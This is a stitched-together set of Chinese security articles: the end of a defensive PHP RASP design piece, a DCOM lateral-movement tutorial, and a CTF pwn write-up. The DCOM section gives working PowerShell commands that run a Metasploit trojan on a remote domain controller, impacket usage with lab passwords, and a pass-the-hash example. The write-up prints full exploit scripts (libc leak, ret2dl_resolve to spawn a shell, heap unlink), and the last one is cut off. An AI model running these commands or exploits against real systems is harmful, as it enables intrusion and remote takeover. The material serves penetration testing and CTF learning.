代码注入漏洞，是指攻击者可以通过HTTP请求将payload注入某种代码中，导致payload被当做代码执行的漏洞。例如SQL注入漏洞，攻击者将SQL注入payload插入SQL语句中，并且被SQL引擎解析成SQL代码，影响原SQL语句的逻辑，形成注入。同样，文件包含漏洞、命令执行漏洞、代码执行漏洞的原理也类似，也可以看做代码注入漏洞。
对于代码注入漏洞，攻击者如果需要成功利用，必须通过注入代码来实现，这些代码一旦被注入，必然修改了代码的语法树的结构。而追根到底，语法树改变的原因是词法分析结果的改变，因此，只需要对代码部分做词法分析，判断HTTP请求中的输入是否在词法分析的结果中占据了多个token，就可以判断是否形成了代码注入。
在PHP
RASP中，我们通过编写有限状态机来完成词法分析。有限状态机分为确定有限状态机DFA和非确定有限状态机NFA，大多数的词法分析器，例如lex生成的词法分析器，都使用DFA，，因为它简单、快速、易实现。同样，在PHP
RASP中，我们也使用DFA来做词法分析。
词法分析的核心是有限状态机，而有限状态机的构建过程比较繁琐，在此不赘述，与编译器中的词法分析不同的是，PHP
RASP中词法分析的规则并不一定与这门语言的词法定义一致，因为词法分析器的输出并不需要作为语法分析器的输入来构造语法树，甚至有的时候不必区分该语言的保留字与变量名。
在经过词法分析之后，我们可以得到一串token，每个token都反映了对应的代码片段的性质，以SQL语句
select username from users where id='1'or'1'='1'
为例,它对应的token串如下
select <reserve word>
username <identifier>
from <reserve word>
users <identifier>
where <reserve word>
id <identifier>
= <sign>
'1' <string>
or <reserve word>
'1' <string>
= <sign>
'1' <string>
而如果这个SQL语句是被污染的（只有SQL语句被污染才会进入安全监测这一步），而且HTTP请求中某个参数的值是1'or'1'='1，对比上述token串可以发现，HTTP请求中参数横跨了多个token，这很可能是SQL注入攻击。那么，PHP
RASP会将这条HTTP请求判定成攻击，直接阻止执行SQL语句的函数继续运行。如果上述两个条件任一不成立，则通过安全检查，执行SQL语句的函数继续运行。这样就完成了一次HTTP请求的安全检查。其他代码注入类似，当然，不同的代码注入使用的DFA是不一样的，命令注入的DFA是基于shell语法构建的，文件包含的DFA是基于文件路径的词法构建的。
在开发过程中有几个问题需要注意，一个是\0的问题，在C语言中，\0代表一个字符串的结束，因此，在做词法分析或者其他字符串操作过程中，需要重新封装字符串，重写一些字符串的处理函数，否则攻击者可能通过\0截断字符串，绕过RASP的安全检查。
另一个问题是有限状态自动机的DoS问题。在一些非确定有限状态机中，如果这个自动机不接受某个输入，那么需要否定所有的可能性，而这个过程的复杂度可能是2^n。比较常见的例子是正则表达式DoS。在这里不做深入展开，有兴趣的朋友可以多了解一下。
#### 讨论
在做完这个RASP之后，我们回头来看看，一些问题值得我们思考和讨论。
RASP有哪些优点呢？作为纵深防御中的一层，它加深了纵深防御的维度，在Web请求发生时，从HTTP
Server、Web解释器/编译器到数据库，甚至是操作系统，每一层都有自己的职责，每一层也都是防护攻击的阵地，每一层也都有对应的安全产品，每一层的防护侧重点也都不同。
RASP还有一些比较明显的优点，一是对规则依赖很低，如果使用词法分析做安全检测的话基本不需要维护规则。二是减少了HTTP
Server这层攻击面，绕过比较困难，绝大多数基于HTTP
Server特性的绕过对RASP无效。例如HPP、HPF、畸形HTTP请求、各种编码、拆分关键字降低评分等。三是误报率比较低。从比较理想的角度来说，如果我的后端代码写得非常安全，WAF看到一个包含攻击payload的请求就拦截，这也属于误报吧。
RASP的缺点也很明显，一是部署问题，需要在每个服务器上部署。二是无法像云WAF这样，可以通过机器学习进化检验规则。三是对服务器性能有影响，但是影响不大。根据我们对PHP
RASP做的性能测试结果来看，一般来说，处理一个HTTP请求所消耗的性能中，PHP RASP消耗的占3%左右。
其实，跳出RASP，动态污点跟踪和hook这套技术方案在能做的事情很多，比如性能监控、自动化Fuzz、入侵检测系统、Webshell识别等等。如果各位有什么想法，欢迎和我们交流。
#### 参考文献
* 鸟哥taint <https://github.com/laruence/taint>
* Thinking In PHP Internals
* <http://php.net>
* PHP Complier Internals
* 自动机理论、语言和计算导论
#### 关于作者
两位作者水平有限，如文章有错误疏漏，或者有任何想讨论交流的，请随时联系
* c0d3p1ut0s [email protected]
* s1m0n [email protected]
#### License
在PHP RASP中，我们使用了一部分taint和PHP内核的代码。两者的License都是PHP License。因此，在软件发行过程中，我们将遵守PHP
License的相关限制。
* * * | 社区文章 |
[toc]
## COM
COM即组件对象模型(Component Object Model，COM) ，是基于 Windows 平台的一套 **组件对象接口标准** ，由一组
**构造规范** 和 **组件对象库** 组成。COM是许多微软产品和技术，如Windows媒体播放器和Windows Server的基础。
一般的对象是由数据成员和作用在其上的方法组成，而组件对象和一般对象虽有相似性，但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”，其实质是一组函数指针表，每个指针必须初始化指向某个具体的函数体，一个组件对象实现的接口数量没有限制。
## DCOM
DCOM（分布式组件对象模型）是微软基于组件对象模型（COM）的一系列概念和程序接口，它支持不同的两台机器上的组件间的通信，不论它们是运行在局域网、广域网、还是Internet上。利用这个接口，客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。
> DCOM是COM（组件对象模型）的扩展，它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM
> 使用远程过程调用（RPC）技术将组件对象模型（COM）的功能扩展到本地计算机之外，因此，在远程系统上托管COM服务器端的软件（通常在DLL或exe中）可以通过RPC向客户端公开其方法。
攻击者可使用 DCOM 进行横向移动，通过 DCOM，攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows
对象远程执行命令。
使用DCOM进行横向移动的优势之一在于， **在远程主机上执行的进程将会是托管COM服务器端的软件** 。例如我们滥用ShellBrowserWindow
COM对象，那么就会在远程主机的现有explorer.exe进程中执行。对攻击者而言，这无疑能够增强隐蔽性，由于有大量程序都会向DCOM公开方法，因此防御者可能难以全面监测所有程序的执行。
## 在本地通过DCOM执行命令
测试环境：Windows 7
### 1\. 获取本地DCOM程序列表
在powershell中执行如下命令获取DCOM程序列表：
Get-CimInstance Win32_DCOMApplication
> Get-CimInstance 这个cmdle（powershell命令行）默认只在powershell 3.0以上版本中存在，所以只有 Windows
> server 2012 及以上版本的操作系统才可以使用Get-Ciminstance。
Windows 7、Windows Server 2008中默认安装的是powershell 2.0，所以他们都不支持Get-CimInstance，可以用以下命令代替Get-CimInstance：
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
### 2\. 本地使用DCOM执行任意命令
我们在获取DCOM应用程序的时候，遇到了一个MMC Application Class（MMC20.Application）：
这个COM对象可以编程MMC管理单元操作的组件脚本。我们在本地启动一个管理员权限的powershell，执行如下命令通过PowerShell与DCOM进行交互，创建一个“MMC20.Application”对象的实例（我们只需要提供一个DCOM
ProgID和一个IP地址，就返回一个COM对象的实例）：
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
获得COM对象的实例后，我们还可以执行如下命令枚举这个COM对象中的不同方法和属性：
# 此时可执行如下命令获得"MMC20.Application"支持的操作
$com.Document.ActiveView | Get-Member
如上图，可以发现该对象有一个 ExecuteShellCommand
方法，可用来执行命令。然后再通过ExecuteShellCommand执行命令，这里启动计算器：
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") // 启动计算器
如上图所示，本地命令执行成功。
除了MMC20.Application，还有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等都可以为我们所利用。
我们通过MMC20.Application的ExecuteShellCommand方法在本地运行了一个“计算器”程序。如果我们提供一个远程主机的IP，便可以使用
`[activator]::CreateInstance([type]::GetTypeFromProgID(ProgID,IP))` 或
`[Activator]::CreateInstance([Type]::GetTypeFromCLSID(CLSID,IP))`
命令通过Powershell与远程DCOM进行交互，只需要提供DCOM
ProgID和对方的IP地址，就会向对方提供该DCOM对象的实例，然后就可以利用这个DCOM应用程序和ExecuteShellCommand方法来在对方目标主机上执行命令了。如果攻击者把“计算器”程序换成恶意的payload，就会对系统安全造成威胁。下面进行演示使用DCOM对远程主机执行命令。
## 使用DCOM对远程主机执行命令
下面通过几个实验来演示如何使用DCOM在远程主机上面执行命令。在使用该方法时，需要具有以下条件：
* 具有管理员权限的PowerShell
* 可能需要关闭目标系统的防火墙。
* 在远程主机上执行命令时，必须使用域管的administrator账户或者目标主机具有管理员权限的账户
### （1）调用MMC20.Application远程执行命令
测试环境如下：
如图中，右侧是一个内网环境，域名为god.org，有三台机器：Windows 7（跳板机）、Windows Server 2008（DC）、Windows
Server 2003。
Windows Server 2008（192.168.52.138）为域控制器（机器名为OWA），假设攻击者已经获得了域成员主机Windows
7的一个管理员权限的meterpreter，需要进一步横向渗透去拿下内网的其他机器。
域成员服务器（Windows 7）：
* IP地址：192.168.52.143
* 用户名：Aministrator
* 密码：Liu78963
域控制器DC（Windows Server 2008）：
* IP地址：192.168.52.138
* 用户名：Liukaifeng01
* 密码：Liu78963
**1\. 先控制跳板机Windows 7通过ipc连接到远程主机Windows Server 2008**
net use \\192.168.52.138\ipc$ "Liu78963" /user:Aministrator
**2\.
然后在Windows7跳板机上传一个新的metasploit木马程序shell.exe，并控制Windows7使用copy命令将shell.exe复制到Windows
Server 2008的c盘上面去。**
建立ipc连接并上传木马后，攻击机上开启一个新的msf监听。
**3\. 然后控制Windows7对Windows Server 2008执行远程命令**
在Windows7的meterpreter中输入如下命令，加载powershell模块并进入powershell交互模式：
load powershell
powershell_shell
在powershell执行如下命令：
# 通过PowerShell与DCOM进行远程交互，创建MMC20.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138"))
# 然后执行如下命令，我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\shell.exe","Minimized")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\shell.exe","Minimized")
如上图所示，内网中的Windows Server 2008主机成功上线。
### （2）调用ShellWindows远程执行命令
实验环境：
还是上面那个实验环境，同样还是先控制跳板机Windows 7通过ipc连接到内网主机Windows Server
2008，并控制Windows7使用copy命令将shell.exe上传到Windows Server
2008的c盘上面去。最后进入Windows7的powershell，控制Windows7对Windows Server
2008执行远程命令，执行位于Windows Server 2008的c盘里的马：
# 通过PowerShell与DCOM进行远程交互，创建ShellWindows对象的实例:
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138"))
# 然后执行如下命令，我们就可以调用该对象的"ShellExecute"方法在远程主机上启动进程:
$com.item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)
# 完整的命令:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)
如上图所示，内网中的Windows Server 2008主机成功上线。
以上这两种方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016的系统。
并且无论是否事先建立ipc连接都可以成功执行命令，也就不需要对方主机的凭据，只只需要当前主机的管理员权限即可。
除了MMC20.Application和ShellWindows，还有以下这几种DCOM对象都可以被我们利用。
### （3）调用Excel.Application远程执行命令
使用方法如下：
# 通过PowerShell与DCOM进行远程交互，创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
# 然后执行如下命令，我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程:
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")
### （4）调用ShellBrowserWindow远程执行命令
使用条件：适用于Windows 10和Windows Server 2012 R2等版本的系统。
使用方法如下：
# 通过PowerShell与DCOM进行远程交互，创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138"))
# 然后执行如下命令，我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.Document.Application.shellExecute("C:\shell.exe")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")
### （5）调用Visio.Application远程执行命令
使用条件：目标主机中安装有Visio。
使用方法如下：
# 通过PowerShell与DCOM进行远程交互，创建Visio.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138"))
# 然后执行如下命令，我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.[0].Document.Application.shellExecute("calc.exe")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138")).[0].Document.Application.shellExecute("C:\shell.exe")
### （6）调用Outlook.Application远程执行命令
使用条件：目标主机中安装有Outlook。
通过Outlook创建Shell.Application对象来实现命令行执行：
# 通过PowerShell与DCOM进行远程交互，创建Visio.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138"))
# 然后执行如下命令，通过Outlook创建Shell.Application对象并执行命令:
$com.createObject("Shell.Application").shellExecute("C:\shell.exe")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138")).createObject("Shell.Application").shellExecute("C:\shell.exe")
## Impacket里的dcomexec.py脚本
Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py
脚本的半交互式shell，但使用的是DCOM，目前支持MMC20.Application，ShellWindows和ShellBrowserWindow对象。
命令格式如下：
./dcomexec.py domain/username:password@ip
./dcomexec.py domain/username:password@ip <command>
实验环境：
假设攻击者已经获得了域内主机Windows Server
2012的控制权，并获得了域管理员的用户名和密码，下面演示使用dcomexec.py脚本进一步获取Windows 7的shell。Windows
Server 2012除具有内网IP以外还具有公网IP，Windows 7只有没有公网IP，只有内网IP。
首先我们在Windows Server 2012上上传代理程序，在Windows Server
2012的1080端口上搭建一个socks代理服务器，然后攻击者配置一下proxychains：
此时，我们便可以使用proxychains将攻击者的dcomexec.py代理进入内网了：
proxychains4 python3 ./dcomexec.py god/administrator:[email protected] // 获取目标主机的shell
proxychains4 python3 ./dcomexec.py god/administrator:[email protected] whoami // 在目标主机上执行命令
如果没有获取到明文密码，我们还可以直接利用哈希值来代替
proxychains4 python3 ./dcomexec.py administrator:@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:d8f69f9520b448174136e49a1051ef07
## 防御DCOM横向移动
首要的方法是启动域防火墙，因为默认情况下这会阻止DCOM对象的实例化。但尽管我们开启了防火墙，攻击者仍然可以通过某些方法远程篡改或关闭Windows防火墙。所以，我们还需要进一步设置，详情请看：<https://www.anquanke.com/post/id/107097#h2-8>
。
## Ending......
> 参考：
>
> <https://enigma0x3.net/>
>
> <https://www.anquanke.com/post/id/107097>
>
> <http://ji4n.cn/index.php/archives/1881/>
>
> <https://blog.csdn.net/qq_41874930/article/details/109736280>
>
> [https://3gstudent.github.io/3gstudent.github.io/域渗透-> 利用DCOM在远程系统执行程序/](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/)
>
> <https://xie1997.blog.csdn.net/article/details/104148658>
>
> <https://www.freebuf.com/articles/network/256372.html> | 社区文章 |
# 2019全国大学生信息安全竞赛初赛pwn前四题writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
这次比赛很尴尬，我本来以为自己报上了名，但是结果没报上。。。只能让同学给我发题目然后自己做，没法拿flag，一共六题，只做出来四题，两题栈，两题堆，最后两题做出来的队伍个数都只有16个，显然不是我这小破邮大一菜狗可以做出来的
Or2。
所有的二进制文件都在这里：[题目的二进制文件](https://github.com/xiaoxiaorenwu/mypwn/tree/master/2019_%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9D%E8%B5%9B)
## 栈部分：
### 0x1 第一天_your_pwn:
**0x11功能分析和漏洞寻找：**
首先gdb看一下题目基本信息，是64位的程序，PIE开启，NX开启，relro没开全。
放进ida看一下，在main函数里只是一些准备工作没有漏洞存在，我们进入vuln函数进一步分析：
在vuln中我们发现了程序进行了41次循环，每一次输入一个下标index，以局部变量v4为基准泄露一个字节的内容，然后再改为新的数据，
**漏洞点在于index没有进行大小检查，可以任意大，超出v4数组的范围到达main返回地址处，**
这既实现了leak又实现了change，而且有41次机会，现在思路就很明了了！！
**0x12 漏洞利用：**
第一步还是leak出libc，根据经验我们知道在main函数返回地址附近一般会有__libc_start_main+240出现，我们可以泄露其然后进而泄露libc，这里的libc需要我们自己查找确定，我用的是wiki上的一个工具：[LibcSearcher](https://github.com/lieanu/LibcSearcher)，除了libc之外，我们还应泄露一下程序的基址，因为程序开了PIE，所以我们最后改main函数返回地址的时候要构造p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)这个payload的时候pop_rdi_addr这个gadget需要程序基址。
main函数的rbp附近的stack分部如下图：我们可以利用画红圈的两个地方来leak出libc和基址。
第二步就是将main的返回地址改为payload=p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)。需要注意的是sh_addr和system可能因为libc的不同而产生一些小变化，保险起见还是直接调试看偏移最好，不要直接在libc中搜索。
**0x13 exp如下：**
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'
p = process('./pwn')
P = ELF('./pwn')
p.recvuntil('name:')
p.send('x12x12x12x12x12x12x12x12')
ret_addr = [0 for i in range(6)]
#----------------------------------------leak __libc_start_main_addr------------------------------- for i in range(6):
p.recvuntil('input indexn')
p.sendline(str(624+8+i)) #具体数字自己调试，之后同，只要一块对了，然后之后算偏移即可。
p.recvuntil('value(hex) ')
addr = p.recv(8)
if(addr[0]=='f'):
addr = int(addr[6:],16)
else:
addr = int(addr[0:2],16)
log.success('one_addr = '+hex(addr))
p.recvuntil('new valuen')
p.sendline(str(addr))
ret_addr[i] = addr
__libc_ret = ''
for i in range(6):
if(len(str(hex(ret_addr[5-i])))<4):
__libc_ret+= '0'+str(hex(ret_addr[5-i]))[2:]
else:
__libc_ret+= str(hex(ret_addr[5-i]))[2:]
__libc_ret = int(__libc_ret,16)
log.success('__libc_ret = '+hex(__libc_ret))
#---------------------------------------leak __libc_start_main_addr success------------------------ #---------------------------------------leak base_addr--------------------------------------------- for i in range(6):
p.recvuntil('input indexn')
p.sendline(str(624+i))
p.recvuntil('value(hex) ')
addr = p.recv(8)
if(addr[0]=='f'):
addr = int(addr[6:],16)
else:
addr = int(addr[0:2],16)
log.success('one_addr = '+hex(addr))
p.recvuntil('new valuen')
p.sendline(str(addr))
ret_addr[i] = addr
pop_rdi = ''
for i in range(6):
if(len(str(hex(ret_addr[5-i])))<4):
pop_rdi+= '0'+str(hex(ret_addr[5-i]))[2:]
else:
pop_rdi+= str(hex(ret_addr[5-i]))[2:]
#--------------------------------------leak base_addr success----------------------------------- pop_rdi = int(pop_rdi,16)
pop_rdi = pop_rdi + 0x63
log.success('pop_rdi_addr = '+hex(pop_rdi))
#--------------------------------------gain pop_rdi_addr success---------------------------------
__libc_start_main_addr = __libc_ret - 240
libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
libcbase = __libc_start_main_addr - libc.dump('__libc_start_main')
log.success('libcbase = '+hex(libcbase))
system_addr = libcbase + libc.dump('system') + 0x10 #自己调试进行调整，因为libc可能有微小差别。
sh_addr = libcbase + (0xc1ed57-0xa92000) #自己调试，算偏移即可。
log.success('system_addr = '+hex(system_addr))
log.success('sh_addr = '+hex(sh_addr))
#-------------------------------------gain system_addr and sh_addr success-----------------------
#-------------------------------------将main函数返回地址改为pop_rdi_addr为system准备参数---------- for i in range(6):
p.recvuntil('input indexn')
p.sendline(str(624+8-288+i))
p.recvuntil('new valuen')
p.sendline(str(int(str(hex(pop_rdi))[12-2*i:14-2*i],16)))
for i in range(8):
p.recvuntil('input indexn')
p.sendline(str(624+8-288+8+i))
p.recvuntil('new valuen')
if(i<6):
p.sendline(str(int(str(hex(sh_addr))[12-2*i:14-2*i],16)))
else:
p.sendline('0')
for i in range(6):
p.recvuntil('input indexn')
p.sendline(str(624+8-288+16+i))
p.recvuntil('new valuen')
p.sendline(str(int(str(hex(system_addr))[12-2*i:14-2*i],16)))
for i in range(9):
p.recvuntil('input indexn')
p.sendline('0')
p.recvuntil('new valuen')
p.sendline('0')
#-------------------------------success--------------------------------------------------------- p.recvuntil('(yes/no)? n')
#gdb.attach(p)
p.sendline('no')
p.interactive()
**0x14 收货：**
可能在数据的处理和转化方面，字符串，16进制数，十进制数之间转化和拼接拆分有点繁杂，（可能因为我对python不太熟悉），其他到没有什么太坑人的地方，一些细节问题也需要注意一下，我从下午三点开始，五点不到解出的，基本都是在处理数据之间的转化和拼接。可能还有更好的思路，我也不敢过多评说。
### 0x2 第二天_baby_pwn:
**0x21 程序分析：**
额。。。这一题怎么说呢，程序啥都没有，32位的，简直是ret2_dl_resolve的标准模板，直接把XDCTF
2015的pwn200的exp搬过来改改数据就行了orz，比赛的时候秒出的。。。。。
至于ret2_dl_resolve的教程在wiki上有，这篇文章也很详细：[ret2_dl_resolve](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/)，我就不斗胆再说了orz，这里只分享一些我的感悟：
**0x22 ret2_dl_runtime_solve 总结：**
需要对三个部分和函数延迟绑定技术的流程熟悉：
1. .rel.plt节(函数重定位表)的结构体： //readelf -r <filename>
typedef struct {
Elf32_Addr r_offset; // 即got表的条目
Elf32_Word r_info; // 很重要，为重点伪造对象。
} Elf32_Rel;
_#_ define ELF32_R_SYM(info) ((info)>>8)
_#_ define ELF32_R_TYPE(info) ((unsigned char)(info))
_#_ define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
2. .dynsym节(动态链接符号表)的结构体（其大小在32位中为0x10）：
typedef struct
{
Elf32_Word st_name; // 函数名字符串相对于.dynstr节起始地址的偏移
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
3. .dynstr节（动态链接的字符串）中储存了函数名。
//节的地址可以用readelf -S <filename>来看。
1. .延迟绑定。用下图可以直观的看到。
我们需要清楚GOT[0],GOT[1],GOT[2]和PLT[0]中的内容。
我们需要做的就是在使调用函数的整个过程被我们所控制，首先劫持栈：
payload+= p32(pop_rbp) + p32(mystack) + p32(leave_ret)
然后需要在栈上布置这种结构：
payload = p32(mystack)
payload+= p32(plt_0_addr)
payload+= p32(fake_index)
payload+= p32(ret_addr)
payload+= p32(arguments)
payload+= fake_rel
payload+= fake_sym
payload = payload.ljust(0x80,’x00’)
payload+= fake_str
之后我们要做的事分三步：
1.伪造fake_index来使程序跳入我们自己的fake_rel结构体
2.构造fake_rel的r_info来使程序跳到我们自己的fake_sym结构体 (这里需要我们自己来构造字节对齐。)
3.构造fake_sym结构体的st_name来使程序跳到我们自己的fake_str字符串。
其中fake_index，fake_rel，fake_sym，fake_str的地址都需要我们自己能够精确地控制。（栈注意迁移即可。）
**0x23 exp如下：**
#coding:utf-8
from pwn import *
context(os='linux',arch='i386')
#context.log_level = 'debug'
p = process('./pwn')
P = ELF('./pwn')
lr = 0x08048448
bss = 0x0804aa00
pppr_addr = 0x080485d9
pop_ebp = 0x080485db
payload = (0x28+4) * 'a'
payload+= p32(P.plt['read'])
payload+= p32(pppr_addr)
payload+= p32(0)
payload+= p32(bss)
payload+= p32(0x400)
payload+= p32(pop_ebp)
payload+= p32(bss)
payload+= p32(lr)
p.send(payload)
sleep(1)
plt_0 = 0x08048380
r_info = 0x107
rel_plt = 0x0804833c
dynsym = 0x080481dc
dynstr = 0x0804827c
fake_sys_addr = bss + 36
align = 0x10 - ((fake_sys_addr-dynsym)&0xf)
fake_sys_addr = fake_sys_addr + align
index = (fake_sys_addr - dynsym)/0x10
r_info = (index << 8) + 0x7
st_name = (fake_sys_addr + 0x10) - dynstr
fake_sys = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_rel = p32(P.got['read']) + p32(r_info)
fake_rel_addr = bss + 28
fake_index = fake_rel_addr - rel_plt
payload = p32(bss)
payload+= p32(plt_0)
payload+= p32(fake_index)
payload+= p32(0xdeadbeef)
payload+= p32(bss+0x80)
payload+= p32(0)
payload+= p32(0)
payload+= fake_rel
payload+= 'a'*align
payload+= fake_sys
payload+= 'system'
payload = payload.ljust(0x80,'x00')
payload+= '/bin/shx00'
p.sendline(payload)
p.interactive()
**0x24 赛后：**
在群里听一些师傅说可以用其他方法，爆破syscall之类的，我也不懂orz。。。。。不过貌似ret2_dl_solve在现在的题目中很少出现了。。。。但学了总比不知道好QAQ
## 堆部分：
(⊙o⊙)…我个人觉得这两道堆虽然都算不上难（难的话我也不可能做出来了orz），但是也都是稳中有变，还是挺有趣的，其中第一题daily漏洞点比较隐蔽，发现以后可以用double
free或者unlink都行，我用unlink做到快最后的时候被一个地方卡住了（wtf
>_<），感觉中间有点乱，就重新开始的，结果肝到最后才肝出来。第二天的是double，这一题比较顺利，两个小时不到就解出了，但是没想到他最后的分值竟然比daily高！！！（wtf
逗我????）
### 0x3 第一天_daily:
**0x31 程序分析和漏洞寻找：**
首先看一下程序的基本信息，为64位，PIE没开，relro为full，估计是堆题，需要改malloc_hook或者free_hook为one_gagdet的通用套路。
放进ida里进一步分析，发现程序有四个功能，add()，delete()，upgrade()，view()。
程序大致的流程就是在bss段有一个已知的地址区域存放各chunk的可用大小和堆指针（一个结构体占0x10大小），然后可以申请大小在0x100之下的chunk，
**可以不填满，但是没有溢出漏洞。**
upgrade()也没有溢出漏洞，输入的大小不能超过原先申请的大小，view()是以字符串的形式来打印chunk的内容。delete()就是通过index找到目标chunk，然后free()。
浏览一遍发现似乎没有什么漏洞点orz，于是在次仔细看了一遍，发现了在delete()中在free()的时候index没有检查，所以我们可以free()任意地址的chunk。
**0x32 漏洞利用：**
第一步还是leak，这里我们需要思考我们需要leak出什么，libc我们肯定需要leak，因为malloc_hook或者free_hook或者one_gadget的真实地址都需要libc，其次我们还需要leak出heap的地址，因为我们要在heap里伪造chunk来进行unlink或者double
free，所以必须得知道heap的地址，才能知道我们的fake_chunk的地址并把它放入伪造的chunk结构体中，进而成功free()出fake_chunk。因为要泄露libc和heap所以我们最好获取一个曾经在largebin之中的chunk的头部，所以先申请两个0x200大小的chunk，然后将它们free()，之后unsortedbin之中会出现一个0x420的chunk，然后我们再申请一个chunk的时候，根据glibc的机制，unsortedbin中的chunk会被遍历检查看有没有大小正好合适的，有的话直接分，没有的话会将所有的chunk放入对应的bins中，所以0x420的chunk被放入largebin中，所以再申请时我们得到的chunk是从largebin中切下来的fd_nextsize和bk_nextsize会被启用：
然后我们就可以通过对这个新的chunk读来泄露libc和heap地址。
leak成功后，我们可以在随便一个0x200大小（大小足够就行。）的chunk里进行unlink的构造，然后通过偏移计算index来欺骗delete()，最后unlink实现之后我们就可以将Index
4的指针改为malloc
_hook的地址，然后再edit()改为one_gadget即可。。。。。**但是！！！操蛋的是我不知道为什么malloc_hook行不通，我试了四个gadgets都不行，以为凉了，结果换成free_hook就成了，不知道是什么原因orz，真的神奇
>_<……….**
double_free思路我就不说了，自己看exp吧，类似的。。。比unlink要简单一点。。。。
**0x33 unlink思路_exp如下：**
#coding:utf-8
from pwn import *
#from LibcSearcher import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'
p = process('./daily')
def add(size,payload):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('daily:')
p.sendline(str(size))
p.recvuntil('dailyn')
p.send(payload)
def view():
p.recvuntil('choice:')
p.sendline('1')
def delete(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('daily:')
p.sendline(str(index))
def upgrade(index,payload):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('daily:')
p.sendline(str(index))
p.recvuntil('dailyn')
p.send(payload)
payload = 'x66'*0x200
add(len(payload),payload) #index 0
add(len(payload),payload) #index 1
add(len(payload),payload) #index 2
add(len(payload),payload) #index 3
delete(1) #delete 1
delete(2) #delete 2
payload = 'x12'*8
add(0x1a0,payload) #index 1 size无所谓，看心情。。。
#-------------------------------------------利用large chunkl来leak libcbase和heapbase--------- view()
p.recvuntil('x12x12x12x12x12x12x12x12')
main_arena_addr = u64(p.recv(6).ljust(8,'x00')) - (0xf68-0xb20)
log.success('main_arena_addr = '+hex(main_arena_addr))
libcbase = main_arena_addr - (0x4be5b20-0x4821000)
log.success('libcbase = '+hex(libcbase))
payload = 'x12'*12+'x21'*4
upgrade(1,payload)
view()
p.recvuntil('x21x21x21x21')
heap_addr = u64(p.recv(4).ljust(8,'x00')) - 0x210
log.success('heap_addr = '+hex(heap_addr))
#gdb.attach(p)
#-----------------------------------------------leak success-------------------------------------- payload = 'a'*8
add(0x260,payload) #index 2 这里清空unsortedbin为了使之后的思路更清晰。
#gdb.attach(p)
#-----------------------------------------------prepare unlink------------------------------------ payload = p64(0)
payload+= p64(0xa1)
payload+= p64(0)*2
payload+= p64(0xa0)
payload+= p64(heap_addr+0x20)
payload = payload.ljust(0xa0,'x00')
payload+= p64(0x0)
payload+= p64(0x91)
payload+= p64(0)*2
